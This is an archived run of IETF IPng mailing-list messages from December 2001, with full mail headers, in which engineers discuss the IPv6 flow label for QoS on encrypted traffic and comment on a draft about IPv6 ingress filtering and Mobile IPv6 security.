engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA15589 for ; Wed, 26 Dec 2001 10:27:24 -0800 (PST) Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA24695 for ; Wed, 26 Dec 2001 10:27:23 -0800 (PST) Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126]) by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fBQIRA814400; Wed, 26 Dec 2001 10:27:10 -0800 (PST) Message-ID: <011201c18e3a$b58e6520$7e6015ac@T23KEMPF> From: "James Kempf" To: "Perry E. Metzger" Cc: References: <200112250049.fBP0n1d08852@newdev.harvard.edu><00a901c18e34$1b9e0930$7e6015ac@T23KEMPF> <871yhhc13w.fsf@snark.piermont.com> Subject: Re: Flow Label Date: Wed, 26 Dec 2001 10:25:34 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > "James Kempf" writes: > > The most compelling application I've seen is > > for QoS classification when the packet > > is encrypted. Most of the other applications > > people have cited can probably be handled > > by other means, as you point out. > > Can't we do classification by expressing the traffic type in the > "traffic" field in the encapsulating packet, however? > The traffic field gives the classification. The flow label could serve as a proxy for the port number and protocol type, according to my understanding of the proposal to define the flow label field. The traffic field can change when the packet goes from one provider's network to another, depending on the type of QoS deployed by the provider within their network, the flow label would presumably be used to determine what traffic classification to use when the packet is being reclassified since the flow label is being defined to be immutable. If the packet is not encrypted, the port number and protocol type can be read directly, of course. >From a service provider's perspective, it would be very advatageous to have some way of assuring QoS classification of encrypted traffic, since it would greatly reduce the anxiety involved in peering of voice traffic. This anxiety seems unreasonable from an engineering perspective (at least, I find it so), but perhaps understandable from a business perspective. jak -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 10:34:47 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQIYlZR018780 for ; Wed, 26 Dec 2001 10:34:47 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQIYlG9018779 for ipng-dist; Wed, 26 Dec 2001 10:34:47 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQIYhZR018772 for ; Wed, 26 Dec 2001 10:34:43 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA19217 for ; Wed, 26 Dec 2001 10:34:46 -0800 (PST) Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA20356 for ; Wed, 26 Dec 2001 11:35:40 -0700 (MST) Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126]) by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fBQIYd814695; Wed, 26 Dec 2001 10:34:39 -0800 (PST) Message-ID: <012a01c18e3b$c0f08f50$7e6015ac@T23KEMPF> From: "James Kempf" To: "Scott Bradner" , References: <200112261816.fBQIGLF12128@newdev.harvard.edu> Subject: Re: Flow Label Date: Wed, 26 Dec 2001 10:33:03 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Scott, > the difserv field is not encrypted so I am not compelled by this example > If by this you mean that the flow label is not covered by AH then I agree that this is a weakness in the flow label proposal. The end node cannot check that the flow label wasn't changed in transit. To really allow authentiated QoS, it would need to be included in packet authentication. As for the traffic class field, I think it might be difficult to include it into any encryption or authentication calculation in any case, because, as I understand its definition, it was defined to be mutable to allow different networks to apply different kinds of diffserv classifications. jak -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 10:57:17 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQIvHZR018827 for ; Wed, 26 Dec 2001 10:57:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQIvHSb018826 for ipng-dist; Wed, 26 Dec 2001 10:57:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQIvDZR018819 for ; Wed, 26 Dec 2001 10:57:13 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA10641 for ; Wed, 26 Dec 2001 10:57:14 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA04079 for ; Wed, 26 Dec 2001 11:57:13 -0700 (MST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBQIv8q12264; Wed, 26 Dec 2001 13:57:08 -0500 (EST) Date: Wed, 26 Dec 2001 13:57:08 -0500 (EST) From: Scott Bradner Message-Id: <200112261857.fBQIv8q12264@newdev.harvard.edu> To: kempf@docomolabs-usa.com, perry@wasabisystems.com Subject: Re: Flow Label Cc: ipng@sunroof.eng.sun.com Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > The traffic field gives the classification. The flow label > could serve as a proxy for the port number and > protocol type, the whole point of class-based QoS is to not have to deal at the port and protocol level Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 11:04:43 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJ4gZR018850 for ; Wed, 26 Dec 2001 11:04:42 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQJ4gcb018849 for ipng-dist; Wed, 26 Dec 2001 11:04:42 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJ4cZR018842 for ; Wed, 26 Dec 2001 11:04:38 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA11374 for ; Wed, 26 Dec 2001 11:04:40 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA16901 for ; Wed, 26 Dec 2001 12:04:21 -0700 (MST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBQJ4cm12325; Wed, 26 Dec 2001 14:04:38 -0500 (EST) Date: Wed, 26 Dec 2001 14:04:38 -0500 (EST) From: Scott Bradner Message-Id: <200112261904.fBQJ4cm12325@newdev.harvard.edu> To: ipng@sunroof.eng.sun.com, kempf@docomolabs-usa.com, sob@harvard.edu Subject: Re: Flow Label Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > If by this you mean that the flow label is not covered > by AH nope - I mean that it is not encrypted thus it can be seen by the routers Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 11:08:03 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJ83ZR018879 for ; Wed, 26 Dec 2001 11:08:03 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQJ83Q9018878 for ipng-dist; Wed, 26 Dec 2001 11:08:03 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJ80ZR018871 for ; Wed, 26 Dec 2001 11:08:00 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA19320 for ; Wed, 26 Dec 2001 11:08:01 -0800 (PST) Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA15980 for ; Wed, 26 Dec 2001 12:07:59 -0700 (MST) Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126]) by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fBQJ7j815883; Wed, 26 Dec 2001 11:07:45 -0800 (PST) Message-ID: <016401c18e40$60ce0490$7e6015ac@T23KEMPF> From: "James Kempf" To: "Scott Bradner" , Cc: References: <200112261857.fBQIv8q12264@newdev.harvard.edu> Subject: Re: Flow Label Date: Wed, 26 Dec 2001 11:06:09 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Scott, > > The traffic field gives the classification. The flow label > > could serve as a proxy for the port number and > > protocol type, > > the whole point of class-based QoS is to not have to deal at the > port and protocol level > Good point, thanx for the clarification. Perhaps there is some other way to solve the problem, like uniform agreement among service providers on diffserv code points and some kind of authentication on the traffic classification field, so that the service provider could authenticate that it hadn't been changed in transit? But this is perhaps the topic for another thread and maybe another working group... jak -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 11:10:13 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJACZR018902 for ; Wed, 26 Dec 2001 11:10:12 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQJAC5n018901 for ipng-dist; Wed, 26 Dec 2001 11:10:12 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJA8ZR018894 for ; Wed, 26 Dec 2001 11:10:08 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA19477 for ; Wed, 26 Dec 2001 11:10:10 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA03366 for ; Wed, 26 Dec 2001 11:10:09 -0800 (PST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBQJA8x12368; Wed, 26 Dec 2001 14:10:08 -0500 (EST) Date: Wed, 26 Dec 2001 14:10:08 -0500 (EST) From: Scott Bradner Message-Id: <200112261910.fBQJA8x12368@newdev.harvard.edu> To: kempf@docomolabs-usa.com, perry@wasabisystems.com, sob@harvard.edu Subject: Re: Flow Label Cc: ipng@sunroof.eng.sun.com Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Perhaps there is some other way to solve the problem, like > uniform agreement among service providers on > diffserv code points I expect that will happen over time > some kind of authentication on the > traffic classification field, so that the service > provider could authenticate that it hadn't > been changed in transit? I do not think the issue is 'has teh field changed' I think the issue is 'am I getting teh service I'm asking for' - you could be getting the service even if the field is changed and you might not get the service even if the field is not changed Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 11:17:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJH5ZR018924 for ; Wed, 26 Dec 2001 11:17:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQJH5w2018923 for ipng-dist; Wed, 26 Dec 2001 11:17:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJH2ZR018916 for ; Wed, 26 Dec 2001 11:17:02 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA29313 for ; Wed, 26 Dec 2001 11:17:03 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA17884 for ; Wed, 26 Dec 2001 12:17:03 -0700 (MST) Received: from IPv16 (as1b-67.chi.il.dial.anet.com [198.92.157.67]) by zeus.anet-chi.com (8.12.1/8.12.0) with SMTP id fBQJGVeN022755; Wed, 26 Dec 2001 13:16:32 -0600 (CST) Message-ID: <005701c18e43$00d9a0a0$1000a8c0@Unir.com> From: "Jim Fleming" To: "James Kempf" , "Scott Bradner" Cc: References: <200112261857.fBQIv8q12264@newdev.harvard.edu> <016401c18e40$60ce0490$7e6015ac@T23KEMPF> Subject: Re: Flow Label Date: Wed, 26 Dec 2001 13:24:55 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ----- Original Message ----- From: "James Kempf" > > But this is perhaps the topic for another > thread and maybe another working group... > Probably a topic for a different Galaxy and StarGate :-) Jim Fleming http://www.IPv8.info IPv16....One Better !! -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 11:17:47 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJHlZR018944 for ; Wed, 26 Dec 2001 11:17:47 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQJHlpS018943 for ipng-dist; Wed, 26 Dec 2001 11:17:47 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJHhZR018936 for ; Wed, 26 Dec 2001 11:17:43 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA22233 for ; Wed, 26 Dec 2001 11:17:44 -0800 (PST) Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA19538 for ; Wed, 26 Dec 2001 11:17:44 -0800 (PST) Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126]) by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fBQJHc816224; Wed, 26 Dec 2001 11:17:38 -0800 (PST) Message-ID: <017f01c18e41$c222e610$7e6015ac@T23KEMPF> From: "James Kempf" To: "Scott Bradner" , References: <200112261904.fBQJ4cm12325@newdev.harvard.edu> Subject: Re: Flow Label Date: Wed, 26 Dec 2001 11:16:02 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > If by this you mean that the flow label is not covered > > by AH > > nope - I mean that it is not encrypted thus it can be seen by the > routers > > Ah, I think I see what you are getting at. The transited network can see the source/destination address, and the flow label. Thus, if the flow label acts as a proxy for the protocol type and port number, the transited network can still obtain a certain amount of information on the packet contents. Good point. jak -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 11:36:46 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJakZR018970 for ; Wed, 26 Dec 2001 11:36:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQJakQA018969 for ipng-dist; Wed, 26 Dec 2001 11:36:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJahZR018962 for ; Wed, 26 Dec 2001 11:36:43 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA23531 for ; Wed, 26 Dec 2001 11:36:44 -0800 (PST) Received: from roam.psg.com ([147.28.4.2]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA08383 for ; Wed, 26 Dec 2001 11:36:43 -0800 (PST) Received: from randy by roam.psg.com with local (Exim 3.33 #1) id 16JJqo-0002Hm-00; Wed, 26 Dec 2001 11:36:30 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "James Kempf" Cc: "Scott Bradner" , Subject: Re: Flow Label References: <200112261904.fBQJ4cm12325@newdev.harvard.edu> <017f01c18e41$c222e610$7e6015ac@T23KEMPF> Message-Id: Date: Wed, 26 Dec 2001 11:36:30 -0800 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > The transited network can see the source/destination address, > and the flow label. Thus, if the flow label acts as a proxy > for the protocol type and port number, the transited > network can still obtain a certain amount of information > on the packet contents. do not equate ip/port with class of service. they could be quite unrelated. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 11:38:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJcoZR018990 for ; Wed, 26 Dec 2001 11:38:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQJcofm018989 for ipng-dist; Wed, 26 Dec 2001 11:38:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQJclZR018982; Wed, 26 Dec 2001 11:38:47 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA14214; Wed, 26 Dec 2001 11:38:48 -0800 (PST) Received: from fep01-app.kolumbus.fi (fep01-0.kolumbus.fi [193.229.0.41]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA25628; Wed, 26 Dec 2001 12:38:29 -0700 (MST) Received: from jariws1 ([62.248.239.67]) by fep01-app.kolumbus.fi (InterMail vM.5.01.03.08 201-253-122-118-108-20010628) with SMTP id <20011226193846.YZJI11987.fep01-app.kolumbus.fi@jariws1>; Wed, 26 Dec 2001 21:38:46 +0200 Message-ID: <005e01c18e44$f38fea60$8a1b6e0a@arenanet.fi> From: "Jari Arkko" To: "Francis Dupont" , Cc: References: <200112261825.fBQIPGD14500@givry.rennes.enst-bretagne.fr> Subject: Re: IPv6 ingress filtering early access Date: Wed, 26 Dec 2001 21:38:53 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > ftp://ftp.ipv6.rennes.enst-bretagne.fr/pub/draft-dupont-ipv6-ingress-filtering-00.txt Nice draft, thanks for taking the time to write down the problems and their alternative solutions. Hope you still had time for Christmas ;-) I have a few comments. First, it seems that the main alternatives we have is (a) restrict MIPv6 functionality by removing intermediate alternatives between bidirectional tunneling and route optimisation, or (b) deploy AAA to help visited networks figure out what are legal home addresses. It is interesting to note the different actors in these two alternatives. In the first alternative, it is the CN who is taking the responsibility, and requiring no help whatsoever from the firewalls in between. In the second alternative, we put all the trust on the firewalls/routers of sites, and none of the CNs do any worrying over this anymore. Both solutions work if applied allover, and the second solution allows the current MIPv6 flexibility, being therefore the preferred solution if seen feasible. However, I'm concerned about the "applied allover" part. Specifically - while I'm very much fond of the AAA solutions - I'm concerned whether we can expect all parts of the Internet to have an infrastructure that really can figure out the home addresses. What if there's a coin-operated (or Visa-) airport WLAN? With no connection to a global roaming association of who owns what addresses. What kind of filtering should that do? Prohibit everything else expect bidirectional tunneling, or allow home addresses to be used? If latter, then the trusting CNs don't have a clue that they could be used as reflectors... Finally, I seem to remember there was a discussion a long time ago whether we could somehow provide automatic, mandatory, ingress filtering in IPv6. If such a feature were possible, it would really make setting up networks easier and denial of service attacks easier to trace. Do you think this would be feasible? If yes, perhaps it should also be discussed in the draft. Currently, we are headed towards the same situation as in IPv4 where ingress filtering is only partially applied, and we keep coming up with "patch" solutions such as I-trace to help the situation. Interestingly, these solutions typically need changes to a large fraction of the routers in the Internet which we already are doing anyway to move to IPv6... Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 14:27:04 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQMR4ZR019286 for ; Wed, 26 Dec 2001 14:27:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQMR4Hr019285 for ipng-dist; Wed, 26 Dec 2001 14:27:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQMR0ZR019278 for ; Wed, 26 Dec 2001 14:27:00 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA06890 for ; Wed, 26 Dec 2001 14:27:03 -0800 (PST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA19982 for ; Wed, 26 Dec 2001 14:27:03 -0800 (PST) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id fBQMQwi25685; Wed, 26 Dec 2001 17:26:59 -0500 (EST) Message-Id: <200112262226.fBQMQwi25685@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Perry E. Metzger" cc: Michael Thomas , ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-reply-to: Your message of "24 Dec 2001 18:48:50 EST." <87wuzci3h9.fsf@snark.piermont.com> Date: Wed, 26 Dec 2001 17:26:58 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Windows XP and such > aren't going to be obeying any of this, so the routers have to look at > the contents of the packets anyway. Shall we forever constrain IPv6 to support only what is now supported by Microsoft? Keith -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 14:31:04 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQMV4ZR019309 for ; Wed, 26 Dec 2001 14:31:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQMV4nJ019308 for ipng-dist; Wed, 26 Dec 2001 14:31:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQMV0ZR019301 for ; Wed, 26 Dec 2001 14:31:00 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA06453 for ; Wed, 26 Dec 2001 14:31:03 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA13476 for ; Wed, 26 Dec 2001 15:31:02 -0700 (MST) Received: by snark.piermont.com (Postfix, from userid 1000) id 